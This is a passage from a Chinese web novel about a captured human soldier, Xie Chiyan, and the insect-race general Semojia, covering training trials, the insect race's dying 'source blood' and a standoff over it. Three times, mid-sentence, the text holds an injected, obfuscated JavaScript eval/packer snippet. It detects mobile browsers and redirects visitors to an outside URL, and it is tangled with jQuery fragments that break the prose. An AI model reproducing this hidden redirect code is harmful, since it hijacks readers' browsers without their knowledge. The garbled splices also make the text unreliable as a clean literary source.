“那就,”谢迟衍轻声说,指尖沿着触角滑到翼膜根部,“——让我学会你的味道。” 瑟摩迦的瞳孔骤然紧缩,怔然看着他。 5. chapter5 血池的水在晨祷声中逐渐回温。 谢迟衍睁开眼时,洞穴里空无一人。昨晚圈住他手腕的尾巴消失了,岩壁上搏动的脉络也恢复了缓慢的节律。 他坐起身,水面泛起黏稠的涟漪,倒映出一张陌生的脸——皮肤惨白到几乎透明,眼窝深陷,瞳孔边缘泛着一圈极淡的银蓝色光晕。 他抬起手,看见青色血管下,有银光如星河流转。 基因污染已经进入第二阶段。 洞壁上的活体组织渗出淡红色的营养液,顺着岩缝滴落,在地面汇成一小洼。 他俯身,指尖蘸了一点,放入口中。 味道是腥甜的,像腐烂的浆果混着铁锈。 这是虫族为养料准备的流质食物,高营养,高热量,能快速补充抽血后的损耗。 也是他唯一的食物来源。 谢迟衍面无表情地咽下。 食物只是燃料,味道无关紧要。 他需要活下去,更需要保持清醒。清醒是他在虫巢中唯一的武器。 洞穴门滑开,副官站在门口,手里托着一套黑色制服。 不是养料的白袍,而是军雌的作战服,缩小了几个尺码。 “大人让你换上。”副官说,眼神避开了他的脸,“三十分钟后,训练场。” 谢迟衍接过制服。 质地是某种生物纤维,触感冰凉,像蛇蜕下的皮。 他脱下湿透的囚服,赤裸地站在池边,开始穿衣。 副官想回避,却被他平静的动作钉在原地——这个人类没有羞耻,没有犹豫,穿衣服像穿铠甲,每一个动作都精准得像在遵循某种军事条例。 “你以前是军校的?”副官忍不住问。 “嗯。”谢迟衍扣上最后一枚领扣,制服完美贴合身体,勾勒出催化后更柔韧的线条。 他抬眼,银蓝瞳孔让副官下意识后退一步。 “哪所?” “不重要。”谢迟衍走向门口,“都毁了。” 训练场在虫巢第五层,是一个巨大的穹顶空间,地面由活体肌肉组织构成,踩上去有弹性,会随步伐微微下陷。 四周悬浮着几十个透明球体,每个球体里都有一对身影——军雌与他们的直属养料,在进行精神同步训练。 这是虫族维持统治的核心机制。 军雌需要养料的血液安抚精神创伤,同时通过精神链接控制养料的意识,防止反叛。 养料则通过链接获得虫族的力量,延长生命,代价是逐渐失去自我。 一旦链接完成,养料会成为军雌的“外置器官”,共享感知,共担痛苦,也共享……欲望。 谢迟衍走进训练场时,数十双眼睛同时转向他。 军雌的眼神是审视与贪婪,养料的眼神则是麻木与空洞。 他目不斜视,径直走向中央平台。 瑟摩迦站在那里,银灰色翅膀完全展开,正在调试一台精神力放大器。 那东西像个金属头环,内侧布满细密的电极,能穿透颅骨,直达大脑皮层。 “迟到了十七秒。”瑟摩迦没回头,声音冷硬。 “穿衣服用了十八秒。”谢迟衍站定,“你欠我一秒。” 瑟摩迦动作一顿,转过身,眼神阴沉。 但看到谢迟衍穿着军雌制服的样子时,瞳孔微微收缩。 太合适了,那张人类的脸配上虫族的衣服,像冰与火的缝合,危险而……迷人。 他压下心头烦躁,将头环抛过去,“戴上。” 谢迟衍接住,指尖触碰电极的瞬间,有细微电流窜过。 他没犹豫,直接套在额头上。 金属自动收紧,扣入鬓角。 “规矩很简单,”瑟摩迦的声音通过精神链接直接在他脑中响起,像回响在空谷里的钟声,“撑过三十分钟,不崩溃,不求饶。撑不过,我就捏碎你的意识,让你变成真正的养料。” 话音落下,精神冲击如海啸般涌来。 无数画面强行塞进大脑——虫族母星最后的崩塌,恒星风蚀毁大地,幼虫在腐肉中破壳,军雌在战场上撕碎同类。每一帧都带着绝对的真实感,像亲身经历。 谢迟衍闷哼一声,单膝跪地。 这是记忆灌入,是虫族传承的方式。 低阶养料会在这种冲击下直接失去自我,成为空壳。 但谢迟衍不同,他的意识像深海中的礁石,任由海浪冲刷,始终锚定在一点。 那一点,是他七岁在孤儿院后山发现的蝴蝶。 “集中精神,”瑟摩迦的声音在脑中响起,“抵抗只会让你更痛苦。” 谢迟衍没抵抗,他接纳。 他让虫族的记忆流过自己的身体,像让毒药流过血管。 他感受它们的毁灭,理解它们的掠夺,甚至……同情它们的荒芜。 但在最深处,他保留了一个核。 一个名为“人类”的核。 瑟摩迦透过精神链接,看到了他的意识海。 那海面风平浪静,但海底有一团火,烧得他精神触角刺痛。 他试图深入,试图找到那团火的核心,但每一次靠近,都会被灼烧。 “那是什么?”他忍不住问。 谢迟衍在意识中回答,声音像从海底传来: “是你没有的东西。” 瑟摩迦暴怒,精神冲击骤然加强。 他动用了军雌级别的精神压迫,足以让一艘战舰的AI系统瘫痪。 但谢迟衍的意识海只是掀起波澜,没有破碎。 “够了!”瑟摩迦切断链接,一把扯下他的头环。 谢迟衍向后倒去,被瑟摩迦接住。 他脸色惨白,瞳孔涣散,嘴角溢出血丝。 但他还在笑。 “三十二分钟。”他喘息着说,“……你输了。” 瑟摩迦将他扔在地上,转身就走。 翅膀因愤怒而颤抖,在空气中划出尖锐的切割声。 谢迟衍躺在活体地板上,感受着地面的脉搏。 他赢了第一局,但代价惨重。 意识海被撕裂了数道小口,需要时间愈合。 但时间,恰恰是他最缺少的东西。 *** 训练场的第二场,在黄昏。 这次不是精神链接,是□□对抗。 瑟摩迦站在场地中央,脱掉了作战背心,露出上半身精悍的肌肉。 翅膀收束成两道银痕,尾巴在身后轻轻摆动,末端倒钩泛着毒光。 “起来。”他对躺在角落的谢迟衍说。 谢迟衍撑着地面站起。 催化后的身体确实更强韧了,肌肉纤维密度提升,神经反应速度加快。 但比起天生的军雌,依然是云泥之别。 “我只用三成力。”瑟摩迦活动着指节,发出咔咔脆响,“只要你能碰到我,就算你赢。” 谢迟衍没说话,只是摆出了军体格斗的起手式。 “不错,”瑟摩迦眯起眼,“但没用。” 话音未落,他的尾巴已如鞭子般抽来。 谢迟衍侧步闪避,尾巴擦过腰侧,衣物撕裂,皮肤留下一道血痕。 伤口瞬间发黑,那是神经毒素。 他脚步踉跄,但下一秒,瑟摩迦的拳头已到眼前。 他抬手格挡,小臂骨头发出不堪重负的呻吟。 冲击力将他震退数米,跪倒在地。喉咙涌上腥甜,他硬生生咽下。 “太慢。”瑟摩迦评价,身形再次消失。 这次是翅膀。 左翼如刀锋般斜切而下,谢迟衍翻滚躲开,但右翼已从另一侧包抄,将他整个人掀翻在空中。 他重重摔下,五脏六腑都仿佛移位。 但他抓住了。 在摔落的瞬间,他抓住了瑟摩迦翅膀边缘的一片鳞甲。 鳞片锋利,割破掌心,但他死死攥住,借力翻身,膝盖狠狠撞向瑟摩迦的腹部。 军雌的腹部有外骨骼,坚硬如钢。 但这一击,正中甲壳缝隙间的软肉。 瑟摩迦闷哼一声,瞳孔骤缩。 他没想到,这个人类能在被摔得七荤八素时,还能如此精准地找到弱点。 他后退一步,翅膀收拢,尾巴也不再攻击。 “谁教你的?”他问,声音低沉。 “虫族解剖课。”谢迟衍咳出一口血,但眼神清明,“翅根第三节,甲壳未完全覆盖,是神经节点。” 瑟摩迦沉默片刻,忽然笑了。 那是他罕见的、不带暴戾的笑。 “很好,”他说,“今晚,你不用回血池。” 谢迟衍没问去哪,只是松开手,任由那片鳞甲从掌心滑落,带出一串血珠。 血珠落地,被活体地板贪婪吸收。 他忽然迟来的意识到,这个地板,这个虫巢,正在缓慢地、持续地……消化他。 *** 夜晚,直属区。 谢迟衍被带回洞穴时,发现血池被排空了,池底铺着一层柔软的苔藓状生物,散发微光。 洞穴中央多了一张石床,不是之前冰冷的操作台,而是真正的、供休息的床。 瑟摩迦坐在床边,正在用一块兽皮擦拭自己的翅膀。 看到谢迟衍进来,他扔了块毛巾过去。 “擦干净。”他说,“别弄脏我的床。” 谢迟衍接过毛巾,擦掉脸上的血污。 伤口在催化后的自愈能力下已经结痂,但疼痛还在。 他走到池边,开始脱衣服。 瑟摩迦见状,动作一顿,“我让你脱了吗?” “脏了。”谢迟衍平静地说,将染血的制服扔在地上。 他赤裸地走向血池底的苔藓,躺了下去。 微光苔藓自动贴合身体曲线,温度适宜,像无数只小手在按摩疲惫的肌肉。 这是高阶军雌才能享用的恢复设施,显然瑟摩迦将自己的配额给了他。 但谢迟衍知道,这不是恩赐,是投资。 投资一个更优质的毒源。 瑟摩迦走过来,居高临下地看着他。 人类躺在苔藓上,皮肤在微光下几乎透明,血管里的银蓝色更明显,像一张即将完成的星图。 他忽然伸手,按在谢迟衍的胸口。 掌心下的心跳平稳有力,每分钟七十二次,和昨晚一模一样。 不被恐惧影响,不被痛苦干扰,像一台精密的机器。 “你到底在想什么?”他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231224|197621||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低声问,像在问自己。 “在想,”谢迟衍睁开眼,银蓝瞳孔直视他,“什么时候能咬断你的喉咙。” 瑟摩迦笑了,俯身靠近,气息拂过他的唇: “那你可得活久一点。” 他吻了上去。 这次不是撕咬,而是舔舐。 舌尖扫过谢迟衍唇角的伤口,将渗出的血珠卷入口中。 那是催化后的血,带着虫族基因的微光,还有人类意志的苦涩。 谢迟衍没动,也没回应,只是睁着眼,看着他。 那双眼里没有情欲,没有沉沦,只有冷静的评估。 像在看实验数据,在计算这个吻的持续时间和精神污染程度。 瑟摩迦被那眼神刺激到,手按在他颈侧,拇指压住动脉: “闭眼。” “为什么?” “因为你不闭眼,”他咬牙,“我会想挖掉你的眼睛。” 谢迟衍闭上眼。 不是服从,是懒得争辩。 他太累了,意识海需要修复,身体需要休息。如果闭眼能让这个暴躁的军雌安静下来,那就闭吧。 吻还在继续。 瑟摩迦的尾巴不知何时缠上了他的腰,圈得越来越紧,倒钩刺入皮肤,注入微量的神经毒素。 那是安抚,也是标记。 毒素让谢迟衍的身体逐渐放松,意识沉入黑暗。 在彻底昏睡前,他听到瑟摩迦在他耳边低语,声音轻得像叹息: “……别死。” *** 深夜,谢迟衍被梦境拖入记忆深渊。 他回到2049年,能源站被围的那个夜晚。 虫族的战舰遮蔽星空,地面部队如潮水涌来。 他作为指挥官,下达了最后的命令——撤退,然后独自留在主控室,输入了引爆密码。 但密码被中止了。 不是虫族的技术,是人类的背叛。 他看到了那个画面——通讯频道里,地球联合政府的高层与虫族指挥官对话,达成协议:交出能源站,换取三个月的停战。 他和他的一百二十名部下,是协议的一部分。 部下的惨叫声通过未断开的通讯频道传来,他坐在主控室里,听了一个小时。 虫族不杀他们,只是抽血,抽到休克,然后注射营养剂,继续抽。 那是他第一次知道,原来人类的骨气,在利益面前,一文不值。 他引爆能源站,不是为了杀敌,是想给部下们一个痛快。 但连这个,都被剥夺了。 他成了唯一幸存者,因为虫族发现他的基因有罕见的稳定性,适合长期养殖。 他成了“样本”,被送到虫巢,成为养料。 画面扭曲,他看到了更多。 看到了父母死前的样子。 他们是早期虫族入侵时的研究员,研究如何将虫族基因武器化。 实验失败,他们成了第一批被感染的人类,然后被自己的同事射杀在实验室。 “别恨他们,”母亲在血泊中对七岁的他说,“他们只是……害怕。” 他不懂。为什么害怕,就要杀死? 画面再转,他看到了那片枫叶林。 不是瑟摩迦的记忆,是他自己的。 他在孤儿院的后山,见过一片枫树林。秋天时,叶子红得像火。他以为那是美。 院长告诉他,树生病了,红叶是死亡的预警。 原来所有他以为的美,都是腐烂的前兆。 他猛地睁开眼,大口喘息。 洞穴里很安静,只有瑟摩迦的呼吸声。 军雌侧躺在石床上,翅膀半拢着,尾巴无意识地伸过来,末端轻轻搭在他的腰上。 像一种保护。 谢迟衍坐起身,腰上的尾巴立刻收紧,将他往床的方向拖。 瑟摩迦没醒,这是本能。 他低头看着那条尾巴,骨节分明,鳞片细密。 他伸手,指尖触碰尾尖的倒钩。钩尖锋利,淬着毒。 他没用指甲划破,只是轻轻抚摸。 倒钩在触碰下微微颤抖,瑟摩迦的呼吸也变重了。 谢迟衍收回手,重新躺下。 他睡不着了,意识海在梦境的刺激下异常活跃。他看着洞穴顶端暗红的脉络,开始计算。 计算基因污染的速度,计算催化酶的剂量,计算瑟摩迦的精神力波动频率。 计算自己还能活多久。 答案是:不超过三个月。 三个月后,催化酶会彻底摧毁他的基因链,他要么完全变成虫族,要么彻底崩溃。 而虫王不会允许前者,瑟摩迦不会允许后者。 所以,他必须在三个月内,完成那个计划。 那个从被送入虫巢第一天就开始布下的局。 他侧头,看向熟睡的瑟摩迦。 军雌的眉头紧皱,即使在梦里也充满戾气。 谢迟衍伸出手指,虚虚描摹他眉骨的轮廓。 “对不起,”他无声地说,“但我必须回家。” 指尖最终停在半空,没有触碰。 他闭上眼,任由尾巴将他圈紧,在虫族的气息中,等待黎明。 6. chapter6 血月的周期是十七天。 第十七天的夜晚,虫巢会进入短暂的休眠期。 所有幼虫停止破壳,所有军雌停止狩猎,连虫王都会收缩核心,陷入假寐。 这是虫族新陈代谢的必然节律,也是精神壁垒最薄弱的时刻。 谢迟衍在日历上刻下第七个正字。 他数着日子,像数自己的心跳。 洞穴里多了一张石桌,两套银质餐具。 这是瑟摩迦在第三次训练后叫人搬来的,理由是“看你吃饭的样子,像在喂猪”。 实际上,他只是厌倦了每天看着谢迟衍面无表情地喝营养液,那种进食方式让他莫名烦躁。 今晚的晚餐是合成肉排,配孢子酱。 谢迟衍用叉子将肉排切成均等的小块,每一块都是标准的1.5厘米见方。 他咀嚼时紧闭双唇,不发一丝声音,像在执行某种沉默的仪式。 瑟摩迦盯着他看了很久,忽然伸手,将自己盘子里没碰过的肉排推过去。 “我不饿。”他说。 谢迟衍抬眼,银蓝瞳孔在烛光下泛着冷光,“军雌每天需要摄入至少三千卡,你今天的训练量超标了。” “你在关心我?”瑟摩迦挑眉,尾巴不满地拍击地面。 “没有。”谢迟衍将肉排推回去,“你如果因营养不良倒下了,我的计划会受影响。” 瑟摩迦的叉子在盘子上划出刺耳的声响。 他总是这样,用最平静的语气,说出最尖锐的真相。 像一把刀,不挥动,只是放在那里,就让人无法忽视。 “什么计划?”他问,声音沉得像暴风雨前的云。 谢迟衍没回答,只是垂下眼,继续切割孢子酱。 那酱是绿色的,黏糊糊的,像半凝固的脑浆。他用刀尖挑起一点,放入口中,细细品尝。 “你想知道?”他终于开口。 “说。” “那你得先告诉我,”他抬眼,目光笔直地刺入瑟摩迦的眼睛,“为什么虫族需要人类血液才能生存?” 瑟摩迦的触角猛地后缩。 这是一个禁忌的问题。 所有虫族都本能地避开这个话题,就像人类不会问“为什么我们需要呼吸”。 但谢迟衍问了,问得理所当然,像问今天的天气。 他沉默了很久,久到烛火都燃尽了半截。 “因为我们的血,”他最终开口,声音罕见地没有暴躁,只有一种疲惫的平直,“……是空的。” 谢迟衍没追问,只是等待。 瑟摩迦站起身,走向洞穴深处。 那里有一面岩壁,他伸手触碰,岩壁如水般漾开,露出一个暗格。 暗格里是一个密封的晶体管,管中悬浮着一滴金色的液体。 “这是母星最后的水。”他说,将晶体管放在桌上,“我们称之为‘源血’。” 谢迟衍的瞳孔微微收缩。 那滴液体没有颜色,之所以看起来是金色,是因为它在发光。 那是一种生命本源的光,纯粹、温暖、充满无限可能。 “每一只虫族,在破壳时都会被注入一滴源血。”瑟摩迦坐下,声音低得像在回忆一个梦,“它决定了我们的等级、力量、寿命。但母星枯竭后,源血不再产生。现有的存量,只够维持幼虫孵化,和虫王的生命延续。” 他看向谢迟衍,银灰眼睛里第一次流露出近似“悲凉”的情绪。 “我们抽人类的血,不是因为需要营养。是因为人类的血液里,有‘活性的东西’。你们的基因链充满突变、混乱、不可控,但正是这种混乱,能激活我们枯竭的源血,让它短暂地……重新流动。” 谢迟衍明白了。 虫族不是掠夺者,是垂死的病人。 人类不是养料,是药引。 “那为什么不用克隆血?”他问,“或者用基因编辑,制造无限供应的血液?” “试过。”瑟摩迦冷笑,“克隆血是死的,没有‘意识’的波动。至于基因编辑——” 他顿了顿,目光落在谢迟衍手腕的红痕上,“——那不就是你正在做的事吗?” 谢迟衍沉默了。 他忽然意识到,自己的催化酶计划,早在虫族的算计之中。 他们允许人类保留科技,允许养料注射基因,甚至鼓励这种行为。 因为催化后的人类血液,活性更高,效果更好。 他以为自己在下毒,其实只是在提纯药剂。 “所以虫王才允许我活着。”他轻声说。 “不是允许,”瑟摩迦纠正,“是期待。你把自己变成了S级养料,最珍贵的药引。” 他站起身,走到谢迟衍身后,双手撑在桌沿,将他圈在怀中,“而我,是那个负责……熬制你的人。” 距离近到呼吸交错。 谢迟衍能闻到他身上信息素的味道,铁锈混着冰川,还有一丝若有若无的焦糊味——那是常年征战留下的硝烟气息。 “你后悔吗?”谢迟衍忽然问。 “后悔什么?” “后悔标记我。”他侧过头,银蓝瞳孔在极近的距离里,像两片冰冷的镜面,“后悔把我变成你的‘私有物’,从而失去了献给虫王的最好礼物。” 瑟摩迦的呼吸停了一拍。 然后,他笑了,笑得肩膀都在抖。 “人类,”他俯身,嘴唇几乎贴上谢迟衍的耳廓,“你以为我在保护你?” “不是吗?” “我是在保护我自己。”他收紧手臂,将谢迟衍彻底锁在怀中,“你的毒,只能我来尝。你的血,只能我来抽。你的崩溃,只能我来……” 他停顿,舌尖舔过他的耳垂,“……欣赏。” 这是告白,也是诅咒。 谢迟衍闭上眼,感受着他怀抱的温度。 军雌的体温偏高,像燃烧的炭,但他自己却像冰。 冰与火在此刻达成诡异的平衡,谁也不愿意先融化或熄灭。 “我有一个问题。”他说。 “说。” “如果源血彻底枯竭,虫族会怎样?” 瑟摩迦的身体僵住了。 许久,他才松开手,重新坐回自己的位置,烛火在他脸上投下摇曳的影子。 “会退化。”他说,“从S级退到A级,再退到B级,最后变成没有智慧、只有本能的野兽。然后互相吞噬,直到族群彻底灭绝。” “多久?” “按现在的消耗速度,”他抬眼,目光落在那滴金色的源血上,“……十七年。” 谢迟衍的心沉了下去。 十七年,恰好是虫族来到地球的时间。 原来他们不是侵略,是逃难。 带着整个族群最后十七年寿命,跨越十亿光年,寻找一个能让他们活下去的药引。 而他,谢迟衍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231225|197621||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是药引中最毒、最烈、最不可控的那一瓶。 “所以你们不会毁灭人类。”他得出结论,“你们需要人类活着,持续提供血液。” “理论上,是。”瑟摩迦承认了,“但理论很脆弱。虫王等不及,军雌们也等不及。人类越反抗,血液活性越低。所以我们一边谈判,一边镇压,一边……养殖。” 他用了“养殖”这个词,没有避讳。 谢迟衍忽然理解了人类政府的选择。不是懦弱,是计算。 牺牲少数,换取多数的存活时间。 就像他当年在能源站,想牺牲自己换取部下的痛快死去。 本质上,他们都在做同样的事。 只是虫族更诚实,而人类更虚伪。 “你想回家吗?”瑟摩迦忽然问。 谢迟衍一怔。 这是他从未想过的问题。 或者说,不敢想。家已经毁了,地球联合政府出卖了他,同类背叛了他,他在人类世界已经死了。 但瑟摩迦问了,问得认真。 “想。”他说,声音轻得像怕惊动什么。 “那就活下去。”瑟摩迦站起身,将那滴源血收回暗格,“活到虫族耗尽源血,退化成野兽,地球就还给你们了。” “那你呢?”谢迟衍反问,“你退化后,会记得我吗?” 瑟摩迦没回答,只是走向洞穴出口。 他的背影在烛光中拉得很长,像一柄即将折断的刀刃。 “不会。”他说,“所以我不会退化。” 门关闭。 洞穴只剩谢迟衍一人,和桌上两盘冷掉的肉排。 他拿起叉子,继续切割。 每一块都是1.5厘米,不多不少。他咀嚼,吞咽,像在完成某种祭祀。 他在心里想—— 虫族还剩十七年寿命。 催化酶会在三个月内摧毁他的基因链。 如果他能在三个月内,找到源血的替代品…… 不,不是替代品。 是解药。 *** 夜半,谢迟衍被一阵低鸣唤醒。 声音来自洞穴深处,那面藏着源血的岩壁。他走过去,将耳朵贴在冰冷的石面上,听到了一种极其细微的、类似心跳的搏动。 但那不是虫巢的脉搏。 那声音更古老,更微弱,像从十亿光年外传来。 他伸手,触碰岩壁,指尖的银蓝色血管忽然亮起,与岩壁内部的某种物质产生共鸣。 暗格自动滑出,那滴源血在晶体管中疯狂旋转,金光越来越亮,几乎要刺破容器。 他明白了。 这不是源血。 这是坐标。 是虫族母星最后的位置,是源血产生的源头,是……回家的路。 他的所有思考,所有谋划,所有以身为饵的疯狂,在这一刻被彻底颠覆。 他以为自己在给虫族下毒,其实虫族在用他寻找故乡。 他以为自己在算计瑟摩迦,其实瑟摩迦在计算虫王。 他以为自己是猎人,其实他是钥匙。 而那把锁,正在他体内,随着催化酶的作用,缓慢地、不可逆转地……打开。 谢迟衍闭上眼,发出一声极轻的、近乎自嘲的笑。 “好啊。”他对着那滴源血说,“那就看看,谁先死。” 他张开嘴,将晶体管举起,对准自己的喉咙。 7. chapter7 晶体管悬在喉结上方,冰凉的玻璃贴着皮肤。 谢迟衍没动,他在等。 等瑟摩迦的反应,等虫巢的警报,等那滴源血在空气中氧化失效——他赌的是最后一点:如此珍贵的坐标,不可能没有保险措施。 只要他不松手,只要他一狠心…… “你敢。” 瑟摩迦的声音从身后传来,不是暴怒,是一种被彻底逼到悬崖边的平静。 谢迟衍没回头,他能听见军靴踏过地面的声音,每一步都像踩在他的心跳频率上。 “我敢。”他说,指尖扣紧了晶体管的开口,“我快死了,瑟摩迦。三个月,催化酶会撕碎我。与其变成你们的一员,不如带着你们的故乡坐标一起……” 他故意停顿,让那个词在空气中发酵。 “……归零。” 瑟摩迦停在三步之外。 这个距离足够他瞬间冲过来捏碎谢迟衍的手腕,但晶体管已经倾斜,金色的液滴悬在管口,只要再晃一下,就会坠入人类温热的食道。 “那不是故乡。”瑟摩迦忽然说,声音很轻,“是坟场。” 谢迟衍的手指僵住了。 “母星在三百年前就死了。源血是最后一口呼吸,被我们封存在心脏里,带着它逃亡。”瑟摩迦的银灰触角低垂,翅膀也收束成疲惫的痕迹,“你以为我们在找新家?不,我们在找墓地。一个能让虫族体面死去的墓地。” 金色的液滴在管口颤动。 “你在骗我。”谢迟衍说,但声音第一次出现了裂痕。 “我想骗你。”瑟摩迦苦笑,“如果骗你能让你放下它,我可以编一千个故事。但这是真的。” 他向前一步,谢迟衍立刻将晶体管压得更紧,玻璃刺破皮肤,一滴血渗出来,与金色液滴混合。 那滴血是银蓝色的。 与金色接触的瞬间,异变骤生。 晶体管内部爆发出刺眼的光芒,不是金色,是白炽。 整根管子疯狂震动,几乎要脱手而出。 谢迟衍感到一股巨大的吸力从管口传来,不是吸他的血,是吸他的意识。 他看到了。 看到了虫族母星最后的画面——不是死亡,是献祭。 无数虫族自愿走入熔炉,将自己的基因链融化,滴入源血池。 它们在制造一种“终极坐标”,一个能跨越时间、空间、甚至维度的求救信号。 信号的内容不是“救救我们”。 是“别成为我们”。 那颗星球曾经繁荣,因为过度开发而枯竭。 虫族曾经强大,因为过度进化而陷入死循环。 它们榨干了母星,就像现在想榨干地球。 但最后一刻,它们后悔了。 源血不是故乡的坐标,是忏悔录。 是写给下一个文明的遗书。 “放手!”瑟摩迦的吼声将他从幻象中拽回。 谢迟衍这才发现,晶体管已经烫得像烙铁,掌心皮肤烧焦,发出滋滋声。 但他没松手,反而更紧地攥住。 疼痛让他清醒,也让他确认了一件事—— 源血,怕他的血。 怕这种被催化酶污染、被人类意志淬炼的剧毒之血。 他笑了,笑得肩膀都在抖,笑得眼泪都渗出来。 “原来如此……”他喘息着,看向瑟摩迦,“你们不是猎人,是病人。我不是养料,是药引。但这药引,对你们来说是毒,对吗?” 瑟摩迦的脸色惨白。 他冲过来,但不敢碰晶体管。 那东西此刻像一颗不稳定的炸弹,任何外力都可能让它爆炸。 “谢迟衍,”他第一次用恳求的语气叫他的名字,“算我求你,放手。” “求我?”谢迟衍的笑意更深,“高傲的军雌,也会求一个人类?” “我不是求你活,”瑟摩迦的银灰眼睛死死盯着他,“是求你……别死在我面前。” 空气凝固。 谢迟衍的笑慢慢收拢,像潮水退去,露出沙滩上破碎的贝壳。 他看着瑟摩迦,看着这个总是暴躁、总是强制、总是用尾巴圈住他手腕的军雌,第一次在他脸上看到一种名为“恐惧”的情绪。 不是恐惧死亡,是恐惧失去。 他忽然明白了—— 瑟摩迦的暴躁,是因为无法掌控,强制,是因为无法说服,占有欲,是因为无法割舍。 这个虫族军雌,在十七年的倒计时里,第一次遇到了一个能与他平等对视的存在。 然后,他上瘾了。 上瘾到宁愿背叛族群,也要保留这份清醒。 “傻子。”谢迟衍轻声说,然后松开了手。 晶体管坠落。 但不是向下,是向上。 它违背重力,悬浮起来,金色的液滴倒流回管内,封口自动闭合。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231226|197621||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 然后,它像一颗流星,划破空气,精准地落入瑟摩迦手中。 洞穴陷入死寂。 两人都站着,隔着三步,像隔着整个宇宙。 许久,瑟摩迦才开口,声音沙哑得像被砂纸磨过: “为什么?” “因为,”谢迟衍垂下眼,看着自己被烧焦的掌心,“我想回家。而回家的路,不在我手里,在你手里。” 他抬起眼,银蓝瞳孔里第一次出现裂痕,裂痕下是谢迟衍作为一个二十三岁的年轻人,本该有的疲惫与脆弱。 “你说过,虫族耗尽源血,地球就还给人类。但我想在耗尽之前,找到别的路。不是毁掉你们,是……” 他停顿,像在寻找一个不可能存在的词,“共生。” 瑟摩迦的触角剧烈颤抖。 共生。 虫族语里没有这个词。 它们的语言只有“支配”与“臣服”,“吞噬”与“被吞噬”。 但这一刻,他听懂了。 因为谢迟衍的血,正从他的掌心伤口渗入,沿着银蓝色的血管,流向心脏。 那灼热的感觉,不是毒,是火。 一种能烧尽荒芜,也能煨出暖意的火。 “疯子。”他低声说,但这次没有笑。 “你也是。”谢迟衍回应。 瑟摩迦走过去,每一步都像踩在刀尖。 他停在谢迟衍面前,伸手,却不敢触碰他被烧焦的手。 最终,他只是用尾巴轻轻圈住他的腰,像圈住一根即将熄灭的烛火。 “我有个条件。”他说。 “说。” “从今天起,你不许再碰源血。” “可以。” “不许再计算自己的死亡倒计时。” “……可以。” “不许再……”他停顿,像在寻找最荒谬的那个条件,“……再露出那种要死的表情。” 谢迟衍怔住。 他下意识地摸自己的脸。 他知道自己总是面无表情,但原来在瑟摩迦眼里,那是“要死的表情”。 “我尽量。”他说。 “不是尽量,是必须。”瑟摩迦的尾巴收紧,倒钩刺入皮肤,但这次没有注入毒素,只是圈住,“因为你就算要死,也只能死在我手里。” 谢迟衍笑了笑。 “好。”他说,“那你要努力活久一点,别死在我前面。” 8. chapter8 这日,直属区的空气变得黏稠。 不是物理上的,是信息素层面的。 自从谢迟衍被宣布为“需最终转化的S级养料”后,整个虫巢都在窃窃私语。 军雌们用触角交换着猜疑,养料们则用空洞的眼神传递着畏惧。 他们没见过这样的存在——一个D级人类,被军雌中的暴徒瑟摩迦亲自标记,又被虫王亲口承认其价值。 更诡异的是,这个人类住在直属区,却保留了独立意识。 这在虫族法则里,是悖论。 第七天的晨祷,副官带来消息: “大人,有三位S级军雌提出挑战申请。按规矩,直属养料若无法通过公开试炼,所有权将被重新分配。” 瑟摩迦正在擦拭自己的翅刃,动作没停,“驳回。” “他们直接递交给虫王了。”副官的声音更低,“陛下……批准了。” 翅刃在指尖停住,反射出一线寒光。 谢迟衍从血池边抬起头,银蓝瞳孔平静无波,“什么试炼?” “精神共鸣。”副官解释,“在虫王面前,养料需同时承受三位军雌的精神链接,维持意识不崩溃。若成功,则所有权永久固化。若失败——” 他停顿,看了瑟摩迦一眼,“——会被当场瓜分。” 瓜分。谢迟衍在心里重复这个词。 不是死亡,是瓜分。 意识被撕成三份,血液被抽干,身体被改造成三个军雌的“外置器官”。 这比死更彻底,是存在的彻底抹除。 “我接受。”他说。 瑟摩迦霍然站起,翅膀因愤怒而张开,“你疯了?” “我有选择吗?”谢迟衍反问,声音轻得像在陈述天气,“或者,你觉得你能抗旨?” 瑟摩迦语塞。 他暴躁地踱步,身后的尾巴将石椅抽得粉碎。 他当然能抗旨,但代价是整个直属区被清洗,甚至他自己被剥夺军阶,贬为公共血库。 “我可以带你逃。”他忽然说,声音低到只有两人能听见。 谢迟衍怔住了。 “虫巢有逃生舱,”瑟摩迦的语速很快,像在压抑什么,“我能突破外层防御,送你回人类阵营。他们虽然虚伪,但至少——” “至少什么?”谢迟衍打断他,目光凛冽,“至少会把我当英雄?还是当标本研究我基因里的催化酶?” 瑟摩迦沉默了。 他当然知道人类会做什么。 他们会抽干谢迟衍的血,解析他的基因,试图复制这种“对源血有反应”的剧毒体质。 